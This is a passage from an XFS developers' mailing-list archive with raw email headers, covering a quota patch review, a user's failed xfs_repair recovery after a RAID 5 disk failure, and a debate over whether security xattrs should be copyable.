be64_to_cpu(dqp->q_core.d_ino_softlimit); > > + if (!softlimit) > > + softlimit = q->qi_isoftlimit; > > + resbcountp = &dqp->q_res_icount; > > + > > + oldcnt = xfs_dqresv_cmpxchg(mp, dqp, resbcountp, ninos, false, enforce, > > + hardlimit, softlimit, timer, warns, > > + warnlimit); > > + if (oldcnt == (xfs_qcnt_t)-1ULL) > > + goto error_undo_nblks; > > + > > +do_trans: > > Instead of having all these goto labels maye this should be factored > into helpers for each of the stages? I kind of wanted to get to the same place as the log grant heads, where the limits are in a separate structure that abstracts this out. But that turned out to not be immediately possible because the infor comes from different places. I think, however, that I want to put the limits into a separate in-memory structure, anyway, so that we don't have to access the dquot core here. That way when we modify them, we can modify them in memory and then apply them to the core during transaction commit, like we do with the counters. IOWs, try and move away from needing an in-memory copy of the core entirely, similar to what I think you are trying to do with the inode code... > > if (udqp) { > > + enforce = !(flags & XFS_QMOPT_FORCE_RES) && > > + udqp->q_core.d_id && XFS_IS_UQUOTA_ENFORCED(mp); > > error = xfs_trans_dqresv(tp, mp, udqp, nblks, ninos, > > - (flags & ~XFS_QMOPT_ENOSPC)); > > + (flags & ~XFS_QMOPT_ENOSPC), enforce); > > I have to say I'd much prefer having the enforcement decision hidden > inside xfs_trans_dqresv. > > > if (error) > > return error; > > } > > > > if (gdqp) { > > - error = xfs_trans_dqresv(tp, mp, gdqp, nblks, ninos, flags); > > + enforce = !(flags & XFS_QMOPT_FORCE_RES) && > > + gdqp->q_core.d_id && XFS_IS_GQUOTA_ENFORCED(mp); > > + error = xfs_trans_dqresv(tp, mp, gdqp, nblks, ninos, flags, > > + enforce); > > if (error) > > Unrelated to the patch: why do we clear XFS_QMOPT_ENOSPC for user > quotas, but not for project quotas here? Project quotas return ENOSPC rather than EDQUOT when the quota hits it's limits. All that flag does is change the return value if we get an EDQUOT. I think we can probably do that here rather than in xfs_trans_dqresv() itself, which means that we don't need to mask it out. I'll see what I can turn this into, seeing as most of the issues you've pointed out are with the structure of the code rather than the algorithmic (cmpxchg) modification.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From rafaelweingartner@gmail.com Sun Dec 15 18:34:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C8D887F3F for ; Sun, 15 Dec 2013 18:34:45 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id B11E08F804B for ; Sun, 15 Dec 2013 16:34:45 -0800 (PST) X-ASG-Debug-ID: 1387154083-04cb6c537b77bcb0001-NocioJ Received: from mail-vb0-f47.google.com (mail-vb0-f47.google.com [209.85.212.47]) by cuda.sgi.com with ESMTP id rssgEoTWRjH9HhdX (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 15 Dec 2013 16:34:44 -0800 (PST) X-Barracuda-Envelope-From: rafaelweingartner@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.47 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.47] Received: by mail-vb0-f47.google.com with SMTP id q12so2708940vbe.34 for ; Sun, 15 Dec 2013 16:34:43 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.47] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.47] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=Mw0tGsDm9+z9jCN8A8028i2+Oj6kMYDwTnKtsUpiJzY=; b=uLLLSj7sSWAX1RWZK4zxlKdQnK3VeI8dM26RMYDjdhvCv54D42fdFn8sBpdDsHH+j3 JlInBFTHVzKrEZLfzNXSNTLyY0AmKqCY+42tvou6JSHO00xmbawh0qCkY0e9R59Tei4V o4UEj0R8zdK3ASfmtxmnhHbHNPsxwLz+dylFQNzg1Y0fNfWaT4lJ4swuHSTWhiiWyXIW PBiQZZz0ab4hQx3wjfy2nIKtah+86JNZZOfoeZ1tsCUu1LAWJqnloRQT56JfRp0FoyKi TNF1hqxkCP/aeXeIxaxjfYNBb8gA+I7b5eRhdB4ikPb3d9KqwK/4jYrmaEfNmpoxCmjD ar9g== MIME-Version: 1.0 X-Received: by 10.221.18.70 with SMTP id qf6mr1171417vcb.37.1387154083472; Sun, 15 Dec 2013 16:34:43 -0800 (PST) Received: by 10.58.19.97 with HTTP; Sun, 15 Dec 2013 16:34:43 -0800 (PST) In-Reply-To: <20131216000141.GU31386@dastard> References: <20131216000141.GU31386@dastard> Date: Sun, 15 Dec 2013 22:34:43 -0200 Message-ID: Subject: Re: XFS_REPAIR on LVM partition From: Rafael Weingartner X-ASG-Orig-Subj: Re: XFS_REPAIR on LVM partition To: Dave Chinner Cc: xfs@oss.sgi.com Content-Type: multipart/alternative; boundary=001a11333c2264e93c04ed9bfa51 X-Barracuda-Connect: mail-vb0-f47.google.com[209.85.212.47] X-Barracuda-Start-Time: 1387154083 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.51 X-Barracuda-Spam-Status: No, SCORE=0.51 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, SUBJECT_FUZZY_TION X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143130 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.41 SUBJECT_FUZZY_TION Attempt to obfuscate words in Subject: -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 --001a11333c2264e93c04ed9bfa51 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable So, sadly I went for the big hammer option, I thought that there were no other options ;). I'm guessing it can't find or validate the primary superblock, so > it's looking for a secondary superblock. Please post the output of > the running repair so we can see exactly what it is doing. That is exactly what it seems that it is happening. *dmesg erros:* > 81.927888] Pid: 878, comm: mount Not tainted 3.5.0-44-generic > #67~precise1-Ubuntu > [ 81.927891] Call Trace: > [ 81.927941] [] xfs_error_report+0x3f/0x50 [xfs] > [ 81.927972] [] ? xfs_free_extent+0xe6/0x130 [xfs] > [ 81.927990] [] xfs_free_ag_extent+0x528/0x730 [xfs] > [ 81.928007] [] ? kmem_zone_alloc+0x67/0xe0 [xfs] > [ 81.928033] [] xfs_free_extent+0xe6/0x130 [xfs] > [ 81.928055] [] xlog_recover_process_efi+0x170/0x1b0 > [xfs] > [ 81.928075] [] > xlog_recover_process_efis.isra.8+0x76/0xd0 [xfs] > [ 81.928097] [] xlog_recover_finish+0x27/0xd0 [xfs] > [ 81.928119] [] xfs_log_mount_finish+0x2c/0x30 [xfs] > [ 81.928140] [] xfs_mountfs+0x420/0x6b0 [xfs] > [ 81.928156] [] xfs_fs_fill_super+0x21d/0x2b0 [xfs] > [ 81.928163] [] mount_bdev+0x1c6/0x210 > [ 81.928179] [] ? xfs_parseargs+0xb80/0xb80 [xfs] > [ 81.928194] [] xfs_fs_mount+0x15/0x20 [xfs] > [ 81.928198] [] mount_fs+0x43/0x1b0 > [ 81.928202] [] ? find_filesystem+0x63/0x80 > [ 81.928206] [] vfs_kern_mount+0x76/0x120 > [ 81.928209] [] do_kern_mount+0x54/0x110 > [ 81.928212] [] do_mount+0x1a4/0x260 > [ 81.928215] [] sys_mount+0x90/0xe0 > [ 81.928220] [] system_call_fastpath+0x16/0x1b > [ 81.928229] XFS (dm-0): Failed to recover EFIs > [ 81.928232] XFS (dm-0): log mount finish failed > [ 81.972741] XFS (dm-1): Mounting Filesystem > [ 82.195661] XFS (dm-1): Ending clean mount > [ 82.203627] XFS (dm-2): Mounting Filesystem > [ 82.479044] XFS (dm-2): Ending clean mount Actually, the problem was a little bit more complicated. This LVM2 partition, was using a physical device (PV) that is exported by a RAID NAS controller. This volume exported by the controller was created using a RAID 5, there was a hardware failure in one of the HDs of the array and the volume got unavailable, till we replaced the bad driver with a new one and the array rebuild finished. That's an old version of xfsprogs - you might want to start by > upgrading it to 3.11... > So, a good try should be upgrading to xfsprogs 3.11 and running xfs_repair again. 2013/12/15 Dave Chinner > On Sun, Dec 15, 2013 at 08:47:30PM -0200, Rafael Weingartner wrote: > > Hi folks, > > I am having some troubles with a XFS over one LVM partition. After an > > unexpected reboot, I am getting the following message when I try to mou= nt > > it: > > *mount: Structure needs cleaning* > > And the error in dmesg is? > > > I tried "sudo xfs_check /dev/mapper/volume". Sadly, I got the message: > > xfs_check: cannot init perag data (117) > > xfs_check is deprecated, please use "xfs_repair -n" instead. > > > *ERROR: The filesystem has valuable metadata changes in a log which nee= ds > > to* > > *be replayed. Mount the filesystem to replay the log, and unmount it > > before* > > *re-running xfs_check. If you are unable to mount the filesystem, then > use* > > *the xfs_repair -L option to destroy the log and attempt a repair.* > > *Note that destroying the log may cause corruption -- please attempt a > > mount* > > *of the filesystem before doing this* > > > > So, I tried: > > xfs_repair -L > > Ok, so you went immediately for the big hammer. There's the > possibility that might not be able to recover your filesystem from > whatever went wrong now that the log has been zeroed. > > > The command is running for over 3 hours and still just dots on my > screen, I > > have no idea of what is happening. Any ideas how I can get it to work > > again? Or at least some work around that would enable me to extract the > > data that it contains. > > I'm guessing it can't find or validate the primary superblock, so > it's looking for a secondary superblock. Please post the output of > the running repair so we can see exactly what it is doing. > > Also we need more information about your problem - why did the > machine reboot? what's your storage configuration? You hardware, > etc. > > > http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_whe= n_reporting_a_problem.3F > > > The server is a Ubuntu server 12.04. > > The XFS version is: xfs_info version 3.1.7 > > If you need I can provide you with more info. > > That's an old version of xfsprogs - you might want to start by > upgrading it to 3.11... > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > --=20 Rafael Weing=E4rtner --001a11333c2264e93c04ed9bfa51 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
    So, sadly I went for the big hammer option, I thought= that there were no other options ;).=A0

    I'm guessing it can't find or validate the primary superblock, so=
    it's looking for a secondary superblock. Please post the output of
    the running repair so we can see exactly what it is doing.

    That is exactly what it seems that it is happening= .
    =A0
    dmesg erros:
    =A081.927888] Pid: 8= 78, comm: mount Not tainted 3.5.0-44-generic #67~precise1-Ubuntu
    [ =A0 81.927891] Call Trace:
    [ =A0 81.927941] =A0[<ffffffffa01d460f&g= t;] xfs_error_report+0x3f/0x50 [xfs]
    [ =A0 81.927972] =A0[<ffffffffa0= 1ecd66>] ? xfs_free_extent+0xe6/0x130 [xfs]
    [ =A0 81.927990] =A0[<= ffffffffa01ea318>] xfs_free_ag_extent+0x528/0x730 [xfs]
    [ =A0 81.928007] =A0[<ffffffffa01e8e07>] ? kmem_zone_alloc+0x67/0xe0 = [xfs]
    [ =A0 81.928033] =A0[<ffffffffa01ecd66>] xfs_free_extent+0xe= 6/0x130 [xfs]
    [ =A0 81.928055] =A0[<ffffffffa021bb10>] xlog_recove= r_process_efi+0x170/0x1b0 [xfs]
    [ =A0 81.928075] =A0[<ffffffffa021cd56>] xlog_recover_process_efis.is= ra.8+0x76/0xd0 [xfs]
    [ =A0 81.928097] =A0[<ffffffffa0220a17>] xlog= _recover_finish+0x27/0xd0 [xfs]
    [ =A0 81.928119] =A0[<ffffffffa022812= c>] xfs_log_mount_finish+0x2c/0x30 [xfs]
    [ =A0 81.928140] =A0[<ffffffffa0223620>] xfs_mountfs+0x420/0x6b0 [xfs= ]
    [ =A0 81.928156] =A0[<ffffffffa01e2ffd>] xfs_fs_fill_super+0x21d= /0x2b0 [xfs]
    [ =A0 81.928163] =A0[<ffffffff8118b716>] mount_bdev+0= x1c6/0x210
    [ =A0 81.928179] =A0[<ffffffffa01e2de0>] ? xfs_parseargs+0xb80/0xb80 = [xfs]
    [ =A0 81.928194] =A0[<ffffffffa01e10a5>] xfs_fs_mount+0x15/0= x20 [xfs]
    [ =A0 81.928198] =A0[<ffffffff8118c563>] mount_fs+0x43/0= x1b0
    [ =A0 81.928202] =A0[<ffffffff811a5ee3>] ? find_filesystem+0x63/0x80<= br>[ =A0 81.928206] =A0[<ffffffff811a7246>] vfs_kern_mount+0x76/0x120=
    [ =A0 81.928209] =A0[<ffffffff811a7c34>] do_kern_mount+0x54/0x110=
    [ =A0 81.928212] =A0[<ffffffff811a9934>] do_mount+0x1a4/0x260
    [ =A0 81.928215] =A0[<ffffffff811a9e10>] sys_mount+0x90/0xe0
    [ =A0= 81.928220] =A0[<ffffffff816a7729>] system_call_fastpath+0x16/0x1b[ =A0 81.928229] XFS (dm-0): Failed to recover EFIs
    [ =A0 81.928232] XF= S (dm-0): log mount finish failed
    [ =A0 81.972741] XFS (dm-1): Mounting Filesystem
    [ =A0 82.195661] XFS (d= m-1): Ending clean mount
    [ =A0 82.203627] XFS (dm-2): Mounting Filesyste= m
    [ =A0 82.479044] XFS (dm-2): Ending clean mount


    Actual= ly, the problem was a little bit more complicated. This LVM2 partition, was= using a physical device (PV) that is exported by a RAID NAS controller. Th= is volume exported by the controller was created using a RAID 5, there was = a hardware failure in one of the HDs of the array and the volume got unavai= lable, till=A0we replaced= the bad driver with a new one and the array rebuild finished.

    That's an old version of xfsprogs - you might want to start by=
    upgrading it to 3.11...=
    So, a g= ood try should be upgrading to xfsprogs 3.11 and running xfs_repair again.<= /span>


    2013/12= /15 Dave Chinner <david@fromorbit.com>
    On Sun, Dec 15, 2013 at 08:47:30PM -0200, Rafael Weingart= ner wrote:
    > Hi folks,
    > I am having some troubles with a XFS over one LVM partition. After an<= br> > unexpected reboot, I am getting the following message when I try to mo= unt
    > it:
    > *mount: Structure needs cleaning*

    And the error in dmesg is?

    > I tried "sudo xfs_check /dev/mapper/volume". Sadly, I got th= e message:
    > xfs_check: cannot init perag data (117)

    xfs_check is deprecated, please use "xfs_repair -n" instead= .

    > *ERROR: The filesystem has valuable metadata changes in a log which ne= eds
    > to*
    > *be replayed. =A0Mount the filesystem to replay the log, and unmount i= t
    > before*
    > *re-running xfs_check. =A0If you are unable to mount the filesystem, t= hen use*
    > *the xfs_repair -L option to destroy the log and attempt a repair.* > *Note that destroying the log may cause corruption -- please attempt a=
    > mount*
    > *of the filesystem before doing this*
    >
    > So, I tried:
    > xfs_repair -L

    Ok, so you went immediately for the big hammer. There's the
    possibility that might not be able to recover your filesystem from
    whatever went wrong now that the log has been zeroed.

    > The command is running for over 3 hours and still just dots on my scre= en, I
    > have no idea of what is happening. Any ideas how I can get it to work<= br> > again? Or at least some work around that would enable me to extract th= e
    > data that it contains.

    I'm guessing it can't find or validate the primary superblock= , so
    it's looking for a secondary superblock. Please post the output of
    the running repair so we can see exactly what it is doing.

    Also we need more information about your problem - why did the
    machine reboot? what's your storage configuration? You hardware,
    etc.

    http://xfs.org/index.p= hp/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F=

    > The server is a Ubuntu server 12.04.
    > The XFS version is: xfs_info version 3.1.7
    > If you need I can provide you with more info.

    That's an old version of xfsprogs - you might want to start by upgrading it to 3.11...

    Cheers,

    Dave.
    --
    Dave Chinner
    david@fromorbit.com



    --
    Rafael Weing=E4rtner
    --001a11333c2264e93c04ed9bfa51-- From xfs@tlinx.org Sun Dec 15 20:20:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C32627F3F for ; Sun, 15 Dec 2013 20:20:26 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id ABD468F804B for ; Sun, 15 Dec 2013 18:20:26 -0800 (PST) X-ASG-Debug-ID: 1387160423-04cbb041667770d0001-NocioJ Received: from Ishtar.tlinx.org (ishtar.tlinx.org [173.164.175.65]) by cuda.sgi.com with ESMTP id aBr5Rxf7LQykAbRG (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 15 Dec 2013 18:20:24 -0800 (PST) X-Barracuda-Envelope-From: xfs@tlinx.org X-Barracuda-Apparent-Source-IP: 173.164.175.65 Received: from [192.168.4.12] (Athenae [192.168.4.12]) by Ishtar.tlinx.org (8.14.7/8.14.4/SuSE Linux 0.8) with ESMTP id rBG2KJfY007698; Sun, 15 Dec 2013 18:20:22 -0800 Message-ID: <52AE6364.7010106@tlinx.org> Date: Sun, 15 Dec 2013 18:20:20 -0800 From: LA Walsh User-Agent: Thunderbird MIME-Version: 1.0 To: Dave Chinner CC: xfs-oss Subject: Re: usefulness of 'security attr' being non-copiable on discretionary access linux. References: <52A96211.3050602@tlinx.org> <20131212181315.GB20500@samba2> <52AAC7CC.8000802@tlinx.org> <20131213105314.GA2117@infradead.org> <52AB7CDC.5040801@tlinx.org> <52ADBB00.8050707@tlinx.org> <20131215235443.GT31386@dastard> X-ASG-Orig-Subj: Re: usefulness of 'security attr' being non-copiable on discretionary access linux. In-Reply-To: <20131215235443.GT31386@dastard> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: ishtar.tlinx.org[173.164.175.65] X-Barracuda-Start-Time: 1387160424 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143132 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/15/2013 3:54 PM, Dave Chinner wrote: > default on copies or inter-partition moves. > > So you want users with no privileges to be able to create and > modify security context imformation, such as selinux labels, > integrity hashes, etc? Really? ---- If they are running under a non-SElinux system where only *discretionary* access is used, why not? It's not like it would do any good. > >> Shouldn't it follow along and be copied much as are the root namespace >> entries? > > There is no "root" attribute namespace that users can manipulate - > there is a "trusted" namespace for root users, but that's not what > you are talking about. The VFS defined name spaces are: ---- Sorry, I was going by this manpage, shipped by (it looks like) Gnu with their xattr program: XFS uses 2 disjoint attribute name spaces associated with every filesystem object. They are the root and user address spaces. The root address space is accessible only to the superuser, and then only by specifying a flag argument to the function call. Other users will not see or be able to modify attributes in the root address space. The user address space is protected by the normal file permissions mecha- nism, so the owner of the file can decide who is able to see and/or modify the value of attributes on any particular file. > > - user > - security > - trusted (requires CAP_SYS_ADMIN) > - system ---- Doesn't security also require CAP_SYS_ADMIN? > > All of the other xattrs fall into these groups. e.g. posix acls: > > - system.posix_acl_access > - system.posix_acl_default > > What you are doing is conflating how XFS stores xattrs on disk with > user visible xattr namespaces. The two are not the same thing. ---- That's fine -- the virtual model != the physical model -- just like in almost every other area. ;-) > The > VFS enforces access to the "trusted" namespace and posix ACLs, > security modules enforce access to their own attributes and > potentially restrict access to the entire security namespace. > Whatever remains is left up to the filesystem to decide access > rules. > > > Hence, cp as a user cannot copy trusted xattrs and certain security > attributes as a matter of principle, and some security modules only > allow security xattr write permission to CAP_SYS_ADMIN (e.g. > selinux), and hence cp as a user cannot read and/or write these > xattrs to put them on the newly copied file. ----- I'm running with the "default" security (Discretionary - mode bits + access lists + cap bits slowly supplanting need for root. > > IOWs, how XFS stores them on disk is irrelevant to access > permissions that are enforced by layers above it... > >> It gets really confusing if a "proxy service" (ex. file server) >> for the user, stores attributes in that namespace thinking they will >> somehow be useful when the user accesses the file w/o the proxy service -- >> i.e. as a normal file. > > That's never worked. xattrs are only meaningful to the application > that created them. ---- NT attrs that are stored on a file server, _natively_ are the same as local attrs. Samba has traditionally tried to map as much of the NT acl -> the native acl. In this particular instance, an unprivileged user (me) saved a file to their home directory. Then as an unprivileged user, I couldn't move the file without saving the NT ACL -- which would still be desired (or needed) on any other exported NT partition. I feel it is a a problem if a normal user can both create the ACL's when accessing the share over samba but cannot directly move or create such ACL's. It it is like Windows, I could probably mount it via a loopback, and using the file system presented by samba and mounted with CIFS (untested), but a user on a client (remote or local) should have consistent access to the ACL that is stored on the file so they can move, copy it or back it up. > Trying to manipulate those xattrs as a user > outside the context of the application is almost always going to > fail when special permissions are required by the application to > manipulate those xattrs. ----- They don't on NT-servers. The native OS ACLS are pretty much the same. If I have an ACL on the file and move it, it goes with the file. Of course if the file is using a directory default ACL, it gets whatever it gets in the new dir. File sensitivity flags are stored on NT to flag possibly unsafe material (downloaded material from general internet, for example). The user can't set those labels directly, but they do get moved by the system if the user moves or copies the file. > Access to the security xattr namespace is entirely controlled by the > kernel security modules. If you want to use that namespace, you have > to follow whatever rules your currently loaded security module > enforces. That, in general, means that the only thing you can > guarantee is that the security xattr namespace requires > CAP_SYS_ADMIN for write access. It also appears the system namespace isn't visible unless you have that CAP set. I.e. the manpage is correct in this regard. ==== As I tried to make clear -- this is a new behavior I'm seeing. I've never had attrs on my files that I, as the file 'owner' couldn't move around to permitted locations. As it is an ACL, my feeling is it should be stored in the same way the posix acls are -- which are copyable. From david@fromorbit.com Sun Dec 15 21:02:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E48B17F3F for ; Sun, 15 Dec 2013 21:02:24 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id D0794304059 for ; Sun, 15 Dec 2013 19:02:24 -0800 (PST) X-ASG-Debug-ID: 1387162939-04cb6c537d7822c0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 7Z6vpFOr08NBoFgY for ; Sun, 15 Dec 2013 19:02:19 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsIAHdsrlJ5LHyk/2dsb2JhbABZgwqDPLBmhU+BGxd0giUBAQQBJxMcIwULCAMYCSUPBSUDIROHfAfHLxcWjhdsB4Q2AQOYFZIVgWyBUiiBNQ Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 16 Dec 2013 13:32:18 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VsORj-0002RY-JP; Mon, 16 Dec 2013 14:02:15 +1100 Date: Mon, 16 Dec 2013 14:02:15 +1100 From: Dave Chinner To: LA Walsh Cc: xfs-oss Subject: Re: usefulness of 'security attr' being non-copiable on discretionary access linux. Message-ID: <20131216030215.GW31386@dastard> X-ASG-Orig-Subj: Re: usefulness of 'security attr' being non-copiable on discretionary access linux. References: <52A96211.3050602@tlinx.org> <20131212181315.GB20500@samba2> <52AAC7CC.8000802@tlinx.org> <20131213105314.GA2117@infradead.org> <52AB7CDC.5040801@tlinx.org> <52ADBB00.8050707@tlinx.org> <20131215235443.GT31386@dastard> <52AE6364.7010106@tlinx.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52AE6364.7010106@tlinx.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1387162939 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143132 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Dec 15, 2013 at 06:20:20PM -0800, LA Walsh wrote: > On 12/15/2013 3:54 PM, Dave Chinner wrote: > > default on copies or inter-partition moves. > > > >So you want users with no privileges to be able to create and > >modify security context imformation, such as selinux labels, > >integrity hashes, etc? Really? > ---- > If they are running under a non-SElinux system where only > *discretionary* access > is used, why not? It's not like it would do any good. > > > >>Shouldn't it follow along and be copied much as are the root namespace > >>entries? > > > >There is no "root" attribute namespace that users can manipulate - > >there is a "trusted" namespace for root users, but that's not what > >you are talking about. The VFS defined name spaces are: > ---- > Sorry, I was going by this manpage, shipped by (it looks like) > Gnu with their > xattr program: > > XFS uses 2 disjoint attribute name spaces associated with every > filesystem object. They are the root and user address spaces. The > root address space is accessible only to the superuser, and then only > by specifying a flag argument to the function call. Other users will > not see or be able to modify attributes in the root address space. The > user address space is protected by the normal file permissions mecha- > nism, so the owner of the file can decide who is able to see and/or > modify the value of attributes on any particular file. Note the name of the man page: ATTR(1) XFS Compatibility API The fact there is a utility that lets you access the XFS on-disk xattr space does not mean other tools actually access those namespaces directly. Indeed, have you looked at what attr does when it writes an attribute into the "root" namespace in XFS? $ sudo strace attr -R -s blah -V grotfuddink foo .... lsetxattr("foo", "trusted.blah", "grotfuddink", 11, 0) = 0 .... It writes it into the "trusted" VFS xattr namespace which means it knows *nothing* about how XFS stores it's xattrs on disk. > > - user > > - security > > - trusted (requires CAP_SYS_ADMIN) > > - system > ---- > Doesn't security also require CAP_SYS_ADMIN? I've already answered that question: > >Hence, cp as a user cannot copy trusted xattrs and certain security > >attributes as a matter of principle, and some security modules only > >allow security xattr write permission to CAP_SYS_ADMIN (e.g. > >selinux), and hence cp as a user cannot read and/or write these > >xattrs to put them on the newly copied file. > ----- > I'm running with the "default" security (Discretionary - > mode bits + access lists + cap bits slowly supplanting need for root. So, did you turn the distro default selinux config off? > >permissions that are enforced by layers above it... > > > >>It gets really confusing if a "proxy service" (ex. file server) > >>for the user, stores attributes in that namespace thinking they will > >>somehow be useful when the user accesses the file w/o the proxy service -- > >>i.e. as a normal file. > > > >That's never worked. xattrs are only meaningful to the application > >that created them. > ---- > NT attrs that are stored on a file server, _natively_ are the same > as local attrs. Samba has traditionally tried to map as much of the > NT acl -> the native acl. In this particular instance, an > unprivileged user (me) saved a file to their home directory. Then as > an unprivileged user, I couldn't move the file without saving the NT > ACL -- which would still be desired (or needed) on any other exported > NT partition. You missed what I said completely. You didn't create the NT attr, Samba did it on your behalf. Samba - the aplication that owns the xattr - has higher privileges than you do, and so it can do things you can't. Like manage attributes in the security namespace. > I feel it is a a problem if a normal user can both create the ACL's > when accessing the share over samba but cannot directly move or create > such ACL's. Just because you own the file, it doesn't mean you own or can access all the xattrs on it the file. > >Access to the security xattr namespace is entirely controlled by the > >kernel security modules. If you want to use that namespace, you have > >to follow whatever rules your currently loaded security module > >enforces. That, in general, means that the only thing you can > >guarantee is that the security xattr namespace requires > >CAP_SYS_ADMIN for write access. > It also appears the system namespace isn't visible unless you have > that CAP set. I.e. the manpage is correct in this regard. > > ==== > As I tried to make clear -- this is a new behavior I'm seeing. I've never > had attrs on my files that I, as the file 'owner' couldn't move around > to permitted locations. As it is an ACL, my feeling is it should be > stored in the same way the posix acls are -- which are copyable. Then something above the filesystem has changed. We haven't changed anything to do with who or how xattrs are stored or used in XFS for a long time. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Dec 15 21:06:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CC4767F3F for ; Sun, 15 Dec 2013 21:06:02 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6E603AC002 for ; Sun, 15 Dec 2013 19:05:59 -0800 (PST) X-ASG-Debug-ID: 1387163154-04bdf00fde538e0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id EGaWwc40zTsBvADb for ; Sun, 15 Dec 2013 19:05:54 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: 